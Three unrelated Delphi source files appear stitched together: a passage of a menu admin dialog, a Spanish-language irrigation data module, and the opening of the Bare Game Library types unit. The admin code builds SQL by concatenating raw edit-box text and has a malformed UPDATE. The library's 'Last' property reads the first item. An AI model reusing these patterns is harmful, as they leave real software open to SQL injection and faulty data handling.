if cboLabel.ItemIndex = 2 then sLabel := 'Delete';
if cboLabel.ItemIndex = 3 then sLabel := 'Refresh';
if cboLabel.ItemIndex = 4 then sLabel := 'View';
if cboLabel.ItemIndex = 5 then sLabel := 'Posted';
Begin
if FModID <> 0 then
begin
sSQL := 'UPDATE AUT$MODULE SET MOD_ID = '+ Trim(edtModuleID.Text)
+ ' , MOD_UNT_ID = '+ IntToStr(DialogUnit)
+ ' , MOD_NAME = '+ QuotedStr(Trim(edtModName.Text))
+ ' , MOD_CAPTION = '+ QuotedStr(Trim(edtModCaption.Text))
+ ' , MOD_LABEL = '+ QuotedStr(sLabel)
+ ' , MOD_ACTION = '+ QuotedStr(Trim(edtActionName.Text))
+ ' WHERE MOD_ID = '+ IntToStr(FModID)
+ ' AND MOD_UNT_ID = '+ IntToStr(DialogUnit);
end
else
begin
sSQL := 'insert into AUT$MODULE ('
+ ' MOD_ID,'
+ ' MOD_UNT_ID,'
+ ' MOD_NAME,'
+ ' MOD_CAPTION,'
+ ' MOD_LABEL,'
+ ' MOD_ACTION,'
+ ' MOD_ICON_PATH) values ('
+ Trim(edtModuleID.Text) +','
+ inttostr(DialogUnit) + ','
+ QuotedStr(Trim(edtModName.Text)) +','
+ QuotedStr(Trim(edtModCaption.Text)) +','
+ QuotedStr(sLabel) +','
+ QuotedStr(Trim(edtActionName.Text)) +','
+ 'Null)' ;
end;
// if (cExecSQL(sSQL,False,_HeaderFlag)) and (SimpanBlob(sSQL, _HeaderFlag)) then
// Begin
// cCommitTrans;
// CommonDlg.ShowMessage('Berhasil simpan module');
// end
// else
// Begin
// cRollbackTrans;
// CommonDlg.ShowMessage('Gagal simpan data');
// End;
End;
end;
procedure TfrmDialogAddNewMenu.edtMenuIDPropertiesButtonClick(Sender: TObject;
AButtonIndex: Integer);
var
sSQL: String;
begin
sSQL := 'select max(MENUS_ID) from AUT$MENU_STRUCTURE';
// with cOpenQuery(sSQL) do
// Begin
// Try
// edtMenuID.Text := IntToStr(Fields[0].AsInteger+1);
// Finally
// Free;
// End;
// End;
end;
procedure TfrmDialogAddNewMenu.btnSaveMenuClick(Sender: TObject);
var
sSQL : String;
sPrnt : Integer;
begin
inherited;
sPrnt := 1;
if (Trim(edtParentID.Text) = '') or ( Trim(edtParentID.Text)='0') then
sPrnt := 0;
if FModID = 0 then
begin
sSQL := 'insert into AUT$MENU_STRUCTURE ('
+ ' MENUS_ID,'
+ ' MENUS_UNT_ID,'
+ ' MENUS_NAME,'
+ ' MENUS_CAPTION,'
+ ' MENUS_MOD_ID,'
+ ' MENUS_MOD_UNT_ID,'
+ ' MENUS_PARENT_MENU_ID,'
+ ' MENUS_PARENT_UNT_ID,'
+ ' MENUS_NO)'
+ ' values ('
+ Trim(edtMenuID.Text) + ','
+ IntToStr(DialogUnit) + ','
+ QuotedStr(edtMenuName.Text) + ','
+ QuotedStr(edtMenuCaption.Text) + ','
+ Trim(edtModuleID.Text) + ','
+ IntToStr(DialogUnit) + ',';
if sPrnt = 0 then
begin
sSQL := sSQL +' null, null, ';
end
else
begin
sSQL := sSQL + QuotedStr(edtParentID.Text) + ','
+ IntToStr(DialogUnit) + ',';
end;
sSQL := sSQL + QuotedStr(edtMenuNo.Text) + ')' ;
end
else
begin
sSQL := 'UPDATE AUT$MENU_STRUCTURE SET MENUS_ID = '+ Trim(edtMenuID.Text)
+ ' , MENUS_UNT_ID = '+ IntToStr(DialogUnit)
+ ' , MENUS_NAME = '+ QuotedStr(edtMenuName.Text)
+ ' , MENUS_CAPTION = '+ QuotedStr(edtMenuCaption.Text)
+ ' , MENUS_MOD_ID = '+ Trim(edtModuleID.Text)
+ ' , MENUS_MOD_UNT_ID = '+ IntToStr(DialogUnit);
if sPrnt = 0 then
begin
sSQL := sSQL + ' , MENUS_PARENT_MENU_ID = null'
+ ', MENUS_PARENT_UNT_ID = null, MENUS_NO = '
+ QuotedStr(edtMenuNo.Text);
end
else
begin
sSQL := sSQL + ' , MENUS_PARENT_MENU_ID = '+ QuotedStr(edtParentID.Text)
+ ', MENUS_PARENT_UNT_ID = ' + IntToStr(DialogUnit)
+ ', MENUS_NO = '+ QuotedStr(edtMenuNo.Text);
end;
sSQL := sSQL + ' WHERE MENUS_ID = '+ IntToStr(FMenuID)
+ ' AND MENUS_UNT_ID = '+ IntToStr(DialogUnit);
end;
// if (cExecSQL(sSQL,False,_HeaderFlag)) and (SimpanBlob(sSQL, _HeaderFlag)) then
// Begin
// cCommitTrans;
// CommonDlg.ShowMessage('Berhasil simpan struktur menu');
// End
// else
// Begin
// cRollbackTrans;
// CommonDlg.ShowMessage('Gagal simpan data');
// End;
end;
procedure TfrmDialogAddNewMenu.edtGroupIDPropertiesButtonClick(Sender: TObject;
AButtonIndex: Integer);
//var
// sSQL: String;
begin
// inherited;
// sSQL := 'select GRO_ID,GRO_NAME,GRO_DESCRIPTION from AUT$GROUP'
// + ' where GRO_UNT_ID='
// + IntToStr(DialogUnit);
// with cLookUp('Selecting Group ID',sSQL,200,1) do
// Begin
// Try
// edtGroupID.Text := Strings[0];
// Finally
// Free;
// End;
// End;
end;
procedure TfrmDialogAddNewMenu.edtGroup_IDPropertiesButtonClick(Sender: TObject;
AButtonIndex: Integer);
var
sSQL: String;
begin
inherited;
sSQL := 'select GRO_ID,'
+ ' GRO_NAME,GRO_DESCRIPTION'
+ ' from AUT$GROUP'
+ ' where GRO_UNT_ID='
+ IntToStr(DialogUnit);
// with cLookUp('Daftar Group',sSQL,200,1) do
// Begin
// Try
// if Strings[0] = '' then
// Exit;
// edtGroup_ID.Text := Strings[0];
// Finally
// Free;
// End;
// End;
end;
procedure TfrmDialogAddNewMenu.btnSaveGroupModuleClick(Sender: TObject);
var
// intNextID: Integer;
sSQL: String;
begin
inherited;
IF FModID = 0 then
begin
sSQL := 'insert into AUT$GROUP_MODULE ('
+ ' GMOD_GRO_ID,'
+ ' GMOD_GRO_UNT_ID,'
+ ' GMOD_MOD_ID,'
+ ' GMOD_MOD_UNT_ID)'
+ ' values ('
+ Trim(edtGroup_ID.Text) +','
+ IntToStr(DialogUnit) + ','
+ Trim(edtModule_ID.Text) +','
+ IntToStr(DialogUnit) +')' ;
end
else
begin
sSQL := 'UPDATE GROUP_MODULE SET GMOD_GRO_ID = '+ Trim(edtGroup_ID.Text)
+ ' , GMOD_GRO_UNT_ID = '+ IntToStr(DialogUnit)
+ ' , GMOD_MOD_ID = '+ Trim(edtModule_ID.Text)
+ ' , GMOD_MOD_UNT_ID = '+ IntToStr(DialogUnit)
// + ' WHERE GMOD_GRO_ID = '+ IntToStr(FGroupID)
+ ' AND GMOD_GRO_UNT_ID = '+ IntToStr(DialogUnit)
+ ' AND GMOD_MOD_ID = '+ IntToStr(FModID)
+ ' AND GMOD_MOD_UNT_ID = '+ IntToStr(DialogUnit);
end;
// if (cExecSQL(sSQL,False,_HeaderFlag)) and (SimpanBlob(sSQL, _HeaderFlag)) then
// Begin
// cCommitTrans;
// CommonDlg.ShowMessage('Berhasil simpan group - module');
// End
// else
// Begin
// cRollbackTrans;
// CommonDlg.ShowMessage('Gagal simpan data');
// End;
end;
procedure TfrmDialogAddNewMenu.edtModule_IDPropertiesButtonClick(
Sender: TObject; AButtonIndex: Integer);
var
sSQL: String;
begin
inherited;
sSQL := 'select MOD_ID,'
+ ' MOD_NAME,MOD_CAPTION,MOD_LABEL,MOD_ACTION'
+ ' from AUT$MODULE'
+ ' where MOD_UNT_ID='
+ IntToStr(DialogUnit);
// with cLookUp('Daftar Module',sSQL,200,1) do
// Begin
// Try
// if Strings[0] = '' then
// Exit;
// edtModule_ID.Text := Strings[0];
// Finally
// Free;
// End;
// End;
end;
procedure TfrmDialogAddNewMenu.edtGroupID2PropertiesButtonClick(Sender: TObject;
AButtonIndex: Integer);
var
sSQL: String;
begin
inherited;
sSQL := 'select GRO_ID,'
+ ' GRO_NAME,GRO_DESCRIPTION'
+ ' from AUT$GROUP'
+ ' where GRO_UNT_ID='
+ IntToStr(DialogUnit);
// with cLookUp('Daftar Group',sSQL,200,1) do
// Begin
// Try
// if Strings[0] = '' then
// Exit;
// edtGroupID2.Text := Strings[0];
// Finally
// Free;
// End;
// End;
end;
procedure TfrmDialogAddNewMenu.edtMenuID2PropertiesButtonClick(Sender: TObject;
AButtonIndex: Integer);
var
sSQL: String;
begin
inherited;
sSQL := 'select MENUS_ID, MENUS_NAME, MENUS_CAPTION'
+ ' from AUT$MENU_STRUCTURE'
+ ' where MENUS_UNT_ID='
+ IntToStr(DialogUnit);
// with cLookUp('Daftar Menu',sSQL,200,1) do
// Begin
// Try
// if Strings[0] = '' then
// Exit;
// edtMenuID2.Text := Strings[0];
// Finally
// Free;
// End;
// End;
end;
procedure TfrmDialogAddNewMenu.edtMenuNoPropertiesButtonClick(Sender: TObject;
AButtonIndex: Integer);
var
sSQL: String;
begin
inherited;
sSQL := 'select max(a.menus_no)'
+ ' from aut$menu_structure a'
+ ' where a.menus_parent_menu_id='
+ QuotedStr(edtParentID.Text);
// with cOpenQuery(sSQL) do
// Begin
// Try
// edtMenuNo.Text := IntToStr(Fields[0].AsInteger+1);
// Finally
// Free;
// End;
// End;
end;
procedure TfrmDialogAddNewMenu.FormClose(Sender: TObject;
var Action: TCloseAction);
begin
inherited;
Action := caFree;
frmDialogAddNewMenu := nil;
end;
procedure TfrmDialogAddNewMenu.btnRefreshClick(Sender: TObject);
var
sSQL: String;
begin
inherited;
ssQL := 'select ms.menus_no as "No", ms.menus_parent_menu_id as "Parent ID",'
+ ' ms.menus_name as "Menu Name", ms.menus_caption as "Caption",'
+ ' ms.menus_mod_id as "Mod ID"'
+ ' from aut$menu m'
+ ' left join aut$menu_structure ms on menus_id=menu_id'
+ ' where menu_gro_unt_id='+ IntToStr(DialogUnit)
+ ' order by ms.menus_no, m.menu_id';
// cClearGrid(clgrdMenu,False);
// cQueryToGrid(sSQL,clgrdMenu,True);
// clgrdMenu.AutoSizeColumns(False,12);
end;
procedure TfrmDialogAddNewMenu.ShowWithID(aUnitID: integer; aModID: integer =
0; aMenuID: integer = 0);
begin
// FGroupID := aGroupID;
DialogUnit := aUnitID;
FModID := aModID;
FMenuID := aMenuID;
if aModID = 0 then
lblStatus.Caption := 'EDIT MENU'
else
lblStatus.Caption := 'INSERT MENU';
SetData;
Self.ShowModal;
end;
procedure TfrmDialogAddNewMenu.SetData;
var
sSQL : string;
begin
sSQL := 'SELECT MOD_NAME, MOD_CAPTION, MOD_LABEL, MOD_ACTION'
+ ' FROM AUT$MODULE'
+ ' WHERE MOD_ID = '+ IntToStr(FModID)
+ ' AND MOD_UNT_ID = '+ IntToStr(DialogUnit);
// with cOpenQuery(sSQL) do
// begin
// try
// if not Eof then
// begin
// edtModuleID.Text := IntToStr(FModID);
// edtModName.Text := Fields[0].AsString;
// edtModCaption.Text := Fields[1].AsString;
// edtActionName.Text := Fields[2].AsString;
// cboLabel.Text := Fields[3].AsString;
// end;
// finally
// Free;
// end;
// end;
sSQL := 'SELECT MENUS_NAME, MENUS_CAPTION, MENUS_PARENT_MENU_ID, MENUS_NO'
+ ' FROM AUT$MENU_STRUCTURE'
+ ' WHERE MENUS_ID = '+ IntToStr(FMenuID)
+ ' AND MENUS_UNT_ID = '+ IntToStr(DialogUnit);
// with cOpenQuery(sSQL) do
// begin
// try
// if not Eof then
// begin
// edtMenuID.Text := IntToStr(FMenuID);
// edtMenuName.Text := Fields[0].AsString;
// edtMenuCaption.Text := Fields[1].AsString;
// edtParentID.Text := Fields[2].AsString;
// edtMenuNo.Text := Fields[3].AsString;
//
// if (Trim(edtParentID.Text) <> '') and (Trim(edtParentID.Text) <> '0') then
// begin
// sSQL := 'SELECT MENUS_NAME '
// + ' FROM AUT$MENU_STRUCTURE'
// + ' WHERE MENUS_ID = '+ Fields[2].AsString
// + ' AND MENUS_UNT_ID = '+ IntToStr(DialogUnit);
// with cOpenQuery(sSQL) do
// begin
// try
// if not Eof then
// edtParentName.Text := Fields[0].AsString;
//
// finally
// Free;
// end;
// end;
// end;
//
// end;
// finally
// Free;
// end;
// end;
end;
end.
|
unit udmDataAdmin;
interface
uses
Forms, Windows, SysUtils, Classes, WideStrings, DbxDatasnap, DBClient,
DSConnect, DB, SqlExpr, IOUtils, IPPeerClient, Data.DBXCommon,
Data.DbxHTTPLayer, Data.FMTBcd, cxLocalization, Vcl.ExtCtrls, Vcl.Dialogs,
cxClasses, cxGrid;
type
TdmData = class(TDataModule)
cntConexion: TSQLConnection;
dspConexion: TDSProviderConnection;
cxLocalizer: TcxLocalizer;
dsCiclo: TDataSource;
cdsCiclo: TClientDataSet;
cdsCicloID_CICLO: TStringField;
cdsCicloNOMBRE: TStringField;
dsSuelo: TDataSource;
cdsSuelo: TClientDataSet;
cdsSueloID_SUELO: TStringField;
cdsSueloARCILLA: TFloatField;
cdsSueloARENA: TFloatField;
cdsSueloNOMBRE: TStringField;
cdsSueloMO: TFloatField;
cdsSueloDA: TFloatField;
cdsSueloLIMO: TFloatField;
dsSubsistema: TDataSource;
cdsSubsistema: TClientDataSet;
dsSistema: TDataSource;
cdsSistema: TClientDataSet;
cdsSistemaID_SISTEMA: TStringField;
cdsSistemaNOMBRE: TStringField;
cdsSistemadtsSubsistemas: TDataSetField;
cdsSubsistemaID_SUBSISTEMA: TStringField;
cdsSubsistemaNOMBRE: TStringField;
cdsSubsistemaPROMEDIO: TFloatField;
cdsSubsistemaMAXIMO: TFloatField;
cdsSubsistemaUD: TFloatField;
cdsSubsistemaID_SISTEMA: TStringField;
dsEstado: TDataSource;
cdsEstado: TClientDataSet;
dsEstacion: TDataSource;
cdsEstacion: TClientDataSet;
dsFenologia: TDataSource;
dsVariedad: TDataSource;
cdsVariedad: TClientDataSet;
dsTipo: TDataSource;
cdsTipo: TClientDataSet;
cdsFenologia: TClientDataSet;
dsCultivo: TDataSource;
cdsCultivo: TClientDataSet;
cdsCultivoID_CULTIVO: TStringField;
cdsCultivoNOMBRE: TStringField;
cdsCultivodtsTipos: TDataSetField;
cdsTipoID_TIPO: TStringField;
cdsTipoORDEN: TIntegerField;
cdsTipoID_SISTEMA: TStringField;
cdsTipoNOMBRE: TStringField;
cdsTipoTUMIN: TFloatField;
cdsTipoTUMAX: TFloatField;
cdsTipoKMAX: TFloatField;
cdsTipoXKMAX: TFloatField;
cdsTipoPRO: TFloatField;
cdsTipoPRMAX: TFloatField;
cdsTipoALPHA0: TFloatField;
cdsTipoALPHA1: TFloatField;
cdsTipoALPHA2: TFloatField;
cdsTipoALPHA3: TFloatField;
cdsTipoALPHA4: TFloatField;
cdsTipoID_CULTIVO: TStringField;
cdsTipodtsVariedades: TDataSetField;
cdsTipodtsFenologias: TDataSetField;
cdsVariedadID_VARIEDAD: TStringField;
cdsVariedadNOMBRE: TStringField;
cdsVariedadID_TIPO: TStringField;
cdsFenologiaID_FENOLOGIA: TStringField;
cdsFenologiaORDEN: TIntegerField;
cdsFenologiaNOMBRE: TStringField;
cdsFenologiaCLAVE: TStringField;
cdsFenologiaDGC: TFloatField;
cdsFenologiaID_TIPO: TStringField;
cdsTipoKCO: TFloatField;
opnDialog: TOpenDialog;
dsUsuario: TDataSource;
cdsUsuario: TClientDataSet;
sdExcel: TSaveDialog;
dsConsultaGeneral: TDataSource;
cdsConsultaGeneral: TClientDataSet;
cdsTipoALPHA5: TFloatField;
cdsConsultaGeneralUSUSARIO: TStringField;
cdsConsultaGeneralPARCELA: TStringField;
cdsConsultaGeneralESTACION: TStringField;
cdsConsultaGeneralSIEMBRA: TStringField;
cdsConsultaGeneralFECHA: TSQLTimeStampField;
cdsConsultaGeneralCULTIVO: TStringField;
cdsConsultaGeneralCICLO: TStringField;
cdsConsultaGeneralVARIEDAD: TStringField;
cdsConsultaGeneralTIPO: TStringField;
cdsConsultaGeneralINI: TSQLTimeStampField;
cdsConsultaGeneralHORAS: TFloatField;
cdsConsultaGeneralAVANCE: TFloatField;
cdsConsultaGeneralGASTO: TFloatField;
cdsConsultaGeneralLAMINA: TFloatField;
cdsConsultaGeneralRENDIMIENTO: TFloatField;
cdsConsultaGeneralVOLUMEN: TFloatField;
cdsConsultaGeneralLAMINA_BRUTA: TFloatField;
cdsConsultaGeneralEA: TFloatField;
cdsConsultaGeneralProdAgua: TFloatField;
cdsUsuarioID_USUARIO: TStringField;
cdsUsuarioNOMBRE: TStringField;
cdsUsuarioLOGIN: TStringField;
cdsUsuarioPASSWORD: TStringField;
cdsUsuarioACTIVO: TIntegerField;
cdsConsultaGeneralUBICACION: TStringField;
cdsEstadoID_ESTADO: TSmallintField;
cdsEstadoNOMBRE: TStringField;
cdsEstadodtsEstaciones: TDataSetField;
cdsEstacionID_ESTACION: TIntegerField;
cdsEstacionID_ESTADO: TSmallintField;
cdsEstacionNOMBRE: TStringField;
cdsEstacionACTIVO: TSmallintField;
procedure AsignarEventos;
procedure cdsNewRecord(DataSet: TDataSet);
procedure cdsAfterPost(DataSet: TDataSet);
procedure cdsReconcileError(DataSet: TCustomClientDataSet;
E: EReconcileError; UpdateKind: TUpdateKind;
var Action: TReconcileAction);
procedure DataModuleCreate(Sender: TObject);
procedure cdsSueloCalcFields(DataSet: TDataSet);
procedure cdsConsultaGeneralCalcFields(DataSet: TDataSet);
private
{ Private declarations }
function GetId: String;
procedure CargarDatos;
procedure LoadConfig;
public
{ Public declarations }
procedure Exportar(Grid: TcxGrid);
end;
var
dmData: TdmData;
implementation
{$R *.dfm}
uses
IniFiles, ufrmSplash, cxGridExportLink, cxGraphics, ufrmMainAdmin, Vcl.Controls;
function TdmData.GetId: String;
var
Guid : TGuid;
begin
CreateGuid(Guid);
Exit(GuidToString(Guid))
end;
procedure TdmData.LoadConfig;
var
names: TStringList;
i: byte;
begin
with TIniFile.Create('./config.ini') do
try
names:= TStringList.Create;
cntConexion.Params.Values['HostName']:= ReadString('connection', 'host', '');
ReadSectionValues('databases', names);
for i:= 0 to Pred(names.Count) do
begin
frmSplash.cmbName.Properties.Items.Add(names.ValueFromIndex[i]);
end;
frmSplash.cmbName.ItemIndex:= 0;
finally
Free;
names.Free;
end;
end;
procedure TdmData.AsignarEventos;
var
i: integer;
begin
for i:= 0 to Pred(ComponentCount) do
begin
if Components[i] is TClientDataset then
begin
//(Components[i] as TClientDataSet).OnNewRecord:= cdsNewRecord;
(Components[i] as TClientDataSet).OnReconcileError:= cdsReconcileError;
end;
end;
end;
procedure TdmData.cdsConsultaGeneralCalcFields(DataSet: TDataSet);
begin
if (not cdsConsultaGeneralINI.IsNull) and
(not cdsConsultaGeneralHORAS.IsNull) then
begin
if (not cdsConsultaGeneralGASTO.IsNull) and
(not cdsConsultaGeneralAVANCE.IsNull) and
(cdsConsultaGeneralAVANCE.Value > 0) then
begin
cdsConsultaGeneralVOLUMEN.Value:= cdsConsultaGeneralGASTO.Value *
cdsConsultaGeneralHORAS.Value * 3.6;
cdsConsultaGeneralLAMINA_BRUTA.Value:= cdsConsultaGeneralVOLUMEN.Value /
(cdsConsultaGeneralAVANCE.Value * 100);
end;
end;
if (cdsConsultaGeneralLAMINA_BRUTA.Value>0) then
begin
cdsConsultaGeneralEA.Value:=
(cdsConsultaGeneralLAMINA.Value /
cdsConsultaGeneralLAMINA_BRUTA.Value) * 100;
end;
if (cdsConsultaGeneralVOLUMEN.Value > 0) and (cdsConsultaGeneralAVANCE.Value > 0) then
cdsConsultaGeneralProdAgua.Value:= cdsConsultaGeneralRENDIMIENTO.Value * 1000 /
(cdsConsultaGeneralVOLUMEN.Value / cdsConsultaGeneralAVANCE.Value)
else
cdsConsultaGeneralProdAgua.Value:= 0;
end;
procedure TdmData.cdsNewRecord(DataSet: TDataSet);
begin
(DataSet as TClientDataSet).FieldByName(
StringReplace(DataSet.Name, 'cds', 'ID_', [])).AsString := GetId;
end;
procedure TdmData.cdsAfterPost(DataSet: TDataSet);
begin
(DataSet as TClientDataSet).ApplyUpdates(0)
end;
procedure TdmData.cdsReconcileError(DataSet: TCustomClientDataSet;
E: EReconcileError; UpdateKind: TUpdateKind;
var Action: TReconcileAction);
begin
inherited;
Application.MessageBox(PChar(E.Message),'Error',MB_OK + MB_ICONERROR);
end;
procedure TdmData.cdsSueloCalcFields(DataSet: TDataSet);
begin
if (not cdsSueloARCILLA.IsNull) and (not cdsSueloARENA.IsNull) then
cdsSueloLIMO.Value:= 100 - (cdsSueloARCILLA.Value + cdsSueloARENA.Value)
else
cdsSueloLIMO.Value:= 0
end;
procedure TdmData.DataModuleCreate(Sender: TObject);
begin
try
frmSplash:= TfrmSplash.Create(Application);
LoadConfig;
frmSplash.ShowModal;
frmSplash.Load:= 'Cargando idioma espaņol';
cxLocalizer.Active:= true;
cxLocalizer.Locale:= 1034;
AsignarEventos;
cntConexion.Params.Values['ServerConnection']:= 'TsmModulo.GetConnectionData' +
frmSplash.cmbName.ItemIndex.ToString;
frmSplash.Load:= 'Conectando al servidor ' + cntConexion.Params.Values['HostName'];
cntConexion.Open;
Screen.Cursor := crHourglass;
CargarDatos;
frmSplash.Free;
Screen.Cursor := crDefault;
except
on E : Exception do
begin
frmSplash.Load:= 'Imposible conectar con el servidor ' + E.Message;
Sleep(3000);
Application.Terminate
end;
end;
end;
procedure TdmData.Exportar(Grid: TcxGrid);
begin
with sdExcel do
begin
if Execute then
ExportGridToExcel(FileName, Grid, true, true, false);
end;
end;
procedure TdmData.CargarDatos;
procedure Abrir(DataSet: TDataSet);
begin
DataSet.Open;
end;
begin
Abrir(cdsUsuario);
Abrir(cdsCiclo);
Abrir(cdsSuelo);
Abrir(cdsSistema);
Abrir(cdsCultivo);
end;
end.
|
(********************************************************)
(* *)
(* Bare Game Library *)
(* http://www.baregame.org *)
(* 0.5.0.0 Released under the LGPL license 2013 *)
(* *)
(********************************************************)
{ <include docs/bare.types.txt> }
unit Bare.Types;
{$i bare.inc}
interface
uses
Bare.System;
{$region collections}
{doc off}
type
TArrayEnumerator<T> = class
private
FItems: TArray<T>;
FPosition: Integer;
public
constructor Create(const Items: TArray<T>);
function GetCurrent: T;
function MoveNext: Boolean;
property Current: T read GetCurrent;
end;
{doc on}
{ TArrayList\<T\> is a simple extension to dynamic arrays
See also
<link Overview.Bare.Types.TArrayList, TArrayList members> }
TArrayList<T> = record
private
function GetEmpty: Boolean;
function GetFirst: T;
procedure SetFirst(const Value: T);
function GetLast: T;
procedure SetLast(const Value: T);
function GetCount: Integer;
procedure SetCount(Value: Integer);
function GetData: Pointer;
function GetItem(Index: Integer): T;
procedure SetItem(Index: Integer; const Value: T);
public
{ The array acting as a list }
Items: TArray<T>;
{ The enumerator type for the list }
type TEnumerator = TArrayEnumerator<T>;
{ Get the enumerator for the list }
function GetEnumerator: TEnumerator;
{ Convert a list to an array }
class operator Implicit(const Value: TArrayList<T>): TArray<T>;
{ Convert an array to a list }
class operator Implicit(const Value: TArray<T>): TArrayList<T>;
{ Reverses theitems in the list }
procedure Reverse;
{ Adds and item to the end of the list }
procedure Add(const Item: T);
{ Appends an array of items to the list }
procedure AddRange(const Collection: array of T);
{ Removes an item by index from the list and decresaes the count by one }
procedure Delete(Index: Integer);
{ Set the size of the list to 0 }
procedure Clear;
{ Returns true if ther are no items in the list }
property Empty: Boolean read GetEmpty;
{ First item in the list }
property First: T read GetFirst write SetFirst;
{ Last item in the list }
property Last: T read GetFirst write SetLast;
{ Number of items in the list }
property Count: Integer read GetCount write SetCount;
{ Address where to the first item is located }
property Data: Pointer read GetData;
{ Get or set an item }
property Item[Index: Integer]: T read GetItem write SetItem; default;
end;
{ TCollection\<TItem\> it a simple collection of items
See also
<link Overview.Bare.Types.TCollection, TCollection members> }
TCollection<TItem> = class
public
{ The list type }
type TItems = TArrayList<TItem>;
protected
{ The list of items }
Items: TItems;
{ Return the number of items in the collection }
function GetCount: Integer;
public
{ Get the enumerator for the collection }
function GetEnumerator: TItems.TEnumerator;
{ Number of items in the collection }
property Count: Integer read GetCount;
end;
{ TOwnerCollection\<T\> is a simple managed collection of items
See also
<link Overview.Bare.Types.TOwnerCollection, TOwnerCollection members> }
TOwnerCollection<TItem: TObject> = class(TCollection<TItem>)
public
destructor Destroy; override;
end;
{doc off}
TListEnumerator<TItem> = class
private
FItems: TArray<TItem>;
FCount: Integer;
FPosition: Integer;
public
constructor Create(Items: TArray<TItem>; Count: Integer);
function GetCurrent: TItem;
function MoveNext: Boolean;
property Current: TItem read GetCurrent;
end;
{doc on}
{ TComparer\<T\> is a function template which returns -1 when A \< B, 1 when A \> B
and 0 when A = B }
TComparer<TItem> = function(const A, B: TItem): Integer;
{ Comparer of objects }
function FindObject(const A, B: TObject): Integer;
{ TList\<TItem\> is a generic growable list of items
See also
<link Overview.Bare.Types.TList, TList members> }
type
TList<TItem> = class
private
FItems: TArray<TItem>;
FCount: Integer;
FCapacity: Integer;
type PItem = ^TItem;
procedure CheckBounds(const Method: string; Index: Integer);
function GetCapacity: Integer;
procedure SetCapacity(Value: Integer);
function GetItem(Index: Integer): TItem;
procedure SetItem(Index: Integer; const Value: TItem);
protected
{ Allows list types to take action on add }
procedure AddItem(constref Item: TItem); virtual;
{ Allows list types to take action on delete }
procedure DeleteItem(var Item: TItem); virtual;
{ If require delete is true delete item will be called for every item on clear }
function RequiresDelete: Boolean; virtual;
{ Search the list for an equal item }
function Find(Comparer: TComparer<TItem>; const Item: TItem): Integer;
{ Request room for at least a minimum number of items }
procedure Grow(MinCapacity: Integer);
public
{ The enumerator type for the list }
type TEnumerator = TListEnumerator<TItem>;
{ Get the enumerator for the list }
function GetEnumerator: TEnumerator;
destructor Destroy; override;
{ Add an item to the end of the list }
procedure Add(const Item: TItem);
{ Delete an item by index from the list }
procedure Delete(Index: Integer);
{ Exchange positions of two items in the list }
procedure Exchange(A, B: Integer);
{ Remove all items from the list setting capcity and count to zero }
procedure Clear;
{ Reclaim unused capacity }
procedure Compact;
{ Number of items in the list }
property Count: Integer read FCount;
{ Allocated space in terms of number of items }
property Capacity: Integer read GetCapacity write SetCapacity;
{ Get or set an item in the list
Remarks
When setting the existing item will be deleted }
property Item[Index: Integer]: TItem read GetItem write SetItem; default;
end;
{ TIndexedList\<TItem\> allows for search and removing of items by value
See also
<link Overview.Bare.Types.TIndexedList, TCollection members> }
TIndexedList<TItem> = class(TList<TItem>)
public
{ Returns the index of the item or -1 if it cannot be found }
function IndexOf(const Item: TItem): Integer; virtual; abstract;
{ Return the item by value }
function Remove(const Item: TItem): Boolean;
end;
{ TObjectList\<TItem\> holds objects and can optionally be set to manage their life
See also
<link Overview.Bare.Types.TObjectList, TObjectList members> }
TObjectList<TItem: TObject> = class(TIndexedList<TItem>)
private
FOwnsObjects: Boolean;
protected
{ Frees the items if the list owns the objects }
procedure DeleteItem(var Item: TItem); override;
{ Returns true if the list owns the objects }
function RequiresDelete: Boolean; override;
public
{ Create the lsit optionally owning objects added to it }
constructor Create(OwnsObjects: Boolean);
{ Returns the index of the object or -1 if it cannot be found }
function IndexOf(const Item: TItem): Integer; override;
end;
{TODO: TDictionary<K, V> is pretty old and probably needs to be reworked}
{ TDictionary\<K, V\> holds key value pairs allowing items to be indexed by a key
See also
<link Overview.Bare.Types.TDictionary, TDictionary members> }
TDictionary<K, V> = class
public
{ TDictionary\<K, V\>.TKeyValue holds a key value pairs
See also
<link Overview.Bare.Types.TDictionary.TKeyValue, TDictionary\<K, V\>.TKeyValue members> }
type
TKeyValue = class
private
FKey: K;
FValue: V;
public
{ The key }
property Key: K read FKey;
{ The value }
property Value: V read FValue write FValue;
end;
{doc off}
TKeyValueEnumerator = class
private
FList: TList<TKeyValue>;
FPosition: Integer;
public
constructor Create(List: TList<TKeyValue>);
function GetCurrent: TKeyValue;
function MoveNext: Boolean;
property Current: TKeyValue read GetCurrent;
end;
{doc on}
private
FList: TList<TKeyValue>;
FComparer: TComparer<K>;
function KeyEquals(const A, B: K): Boolean;
function GetCount: Integer;
function GetKey(Index: Integer): K;
function GetValue(const Key: K): V;
procedure SetValue(const Key: K; const Value: V);
public
{ Create the dictionary }
constructor Create;
destructor Destroy; override;
{ Get the enumerator for the list }
function GetEnumerator: TKeyValueEnumerator;
{ Remove an item by key index }
procedure Remove(const Key: K);
{ Remove all items from the dictionary }
procedure Clear;
{ Returns true if the key is in the dictionary }
function KeyExists(const Key: K): Boolean;
{ Used to compare keys }
property Comparer: TComparer<K> read FComparer write FComparer;
{ Keys indexed by integer }
property Keys[Index: Integer]: K read GetKey;
{ Values indexed by key }
property Values[const Key: K]: V read GetValue write SetValue; default;
{ Number of key value pai }
property Count: Integer read GetCount;
end;
{$endregion}
{$region types}
{ TPoint }
TPoint = record
X, Y: Integer;
end;
{ TRect }
TRect = record
Left, Top, Right, Bottom: Integer;
end;
{ TPointI }
TPointI = record
public
X, Y: Integer;
class operator Implicit(const Value: TPointI): TPoint;
class operator Implicit(const Value: TPoint): TPointI;
class operator Negative(const A: TPointI): TPointI;
class operator Equal(const A, B: TPointI): Boolean;
class operator NotEqual(const A, B: TPointI): Boolean;
class operator Add(const A, B: TPointI): TPointI;
class operator Subtract(const A, B: TPointI): TPointI;
function Equals(const Value: TPointI): Boolean;
class function Create: TPointI; overload; static;
class function Create(X, Y: Integer): TPointI; overload; static;
function Angle(const P: TPointI): Float;
function Dist(const P: TPointI): Float;
function Mid(const P: TPointI): TPointI;
procedure Offset(X, Y: Integer); overload;
procedure Offset(const P: TPointI); overload;
function Move(X, Y: Integer): TPointI; overload;
function Move(const P: TPointI): TPointI; overload;
end;
PPointI = ^TPointI;
{ TRectI }
TRectI = record
private
function GetEmpty: Boolean;
procedure SetTop(Value: Integer);
procedure SetLeft(Value: Integer);
function GetRight: Integer;
procedure SetRight(Value: Integer);
function GetBottom: Integer;
procedure SetBottom(Value: Integer);
function GetSize: TPointI;
